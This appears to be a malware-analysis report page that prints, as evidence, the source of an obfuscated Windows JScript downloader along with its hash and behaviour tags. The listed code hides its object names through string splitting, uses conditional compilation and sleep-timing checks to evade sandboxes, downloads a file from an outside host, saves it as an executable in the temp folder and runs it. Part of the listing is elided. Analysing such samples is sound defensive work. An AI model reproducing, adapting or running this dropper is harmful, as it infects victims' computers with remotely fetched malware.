d3f8f9fe1bdeb7a8aa4f125394041e7c
Downloads and executes remote payload
JScript conditional sleep jitter evasionWScript bracket-member access in source text
SHA-25678920160591336975e5d7c3ee32a34e3d35ecbdaff0b6b6d755e7ceaa7c25792
MaleculeO₂(AlAs₄)H₄(Po₃Cm₂Db₃Os₂)
Evidence
1var IhlIiw = false;
2var JdXaf = "C" + "reateObject";
3var OujUs = function GczJeh() {return WScript[JdXaf]("WScript"+".Shell");}(), HezVl = 11;
4var EjtZak = "M" + "SXML2.XMLHTTP";
5var OdaIpn = 1 * 2;
6var TqEuk = OdaIpn - 2 * 1;
7function NbIx(RjSg){OujUs["R"+"un"](RjSg, TqEuk, TqEuk);};
8function JsFnz(){return EjtZak + "";};
9function SyXnx(DbxTku, BmsVb){TqEuk = TqEuk * 1; return DbxTku - BmsVb;};
10function NphHj(){return JdXaf;};
11/*@cc_on
12 @if (@_win32 || @_win64)
13 IhlIiw = true;
14 @end
15@*/
16if (IhlIiw)
17{
18var LgVa = "";
19function VwDju(){return 23;};
20var ApeDp = 0; var ZxKwv = 0;
21function YsYhj()
22{
23var FzeOs = new this["Date"]();
24var DlmEnp = FzeOs["getUTCMilliseconds"]();
25WScript["Sleep"](VwDju());
26var FzeOs = new this["Date"]();
27var CfcWe = FzeOs["getUTCMilliseconds"]();
28WScript["Sleep"](VwDju());
29var FzeOs = new this["Date"]();
30var XbYt = FzeOs["getUTCMilliseconds"]();
31var ApeDp = "SafGbj";
32ApeDp = SyXnx(CfcWe, DlmEnp);
33var ZxKwv = "DmzHv";
34ZxKwv = SyXnx(XbYt, CfcWe);
35LgVa = "open";
36return SyXnx(ApeDp, ZxKwv);
37}
38var LhVl = false;
39var WxXua = false;
40for (var DlZrv = TqEuk; DlZrv < VwDju() * 1; DlZrv++){if (YsYhj() != TqEuk){
41LhVl = true;
42ZxKwv = …
46:73… k;};
47if (LhVl && MmgJfd() && WxXua){
48function UorFy() {return OujUs["ExpandEnvironmentStrings"]("%TE"+"MP%/") + "13R7PpASAFxZ.ex" + "e";};
49 PooWds = JsFnz();
50 OjVh = WScript[JdXaf](PooWds);
51 var KlMey = 1;
52do {
53 for (;KlMey;){
54 try {
55 if (KlMey == 1)
56 {
57 OjVh[LgVa]("G" + "ET", "http://beatorooms.com/n2isa", false);
58 OjVh["send"]();
59 MekUj = "Sleep";
60 KlMey = 2;
61 }
62 WScript[MekUj](VwDju() + 120);
63 if (OjVh["readystate"] < 2 * 2) continue;
64 KlMey = TqEuk;
65 function NgzXqb(KkCeh) {var VfSrs = (1, 2, 3, 4, 5, KkCeh); return VfSrs;};
66 QrtPa = WScript[NphHj()]("A"+"DODB.Stream");
67 PooWds = QrtPa;
68 PooWds[LgVa]();
69 PooWds["type"] = NgzXqb(1);
70 PooWds["write"](OjVh["ResponseBody"]);
71 QrtPa["position"] = NgzXqb(TqEuk);
72 PooWds[(1, "S") + "aveToFile"](UorFy(), 2);
73 QrtPa["clo"+"se"]();
74 YxJmt = UorFy();
75 NbIx(YxJmt);
76 } catch(YphQpc){};};
77}while (KlMey);
78}
79}
80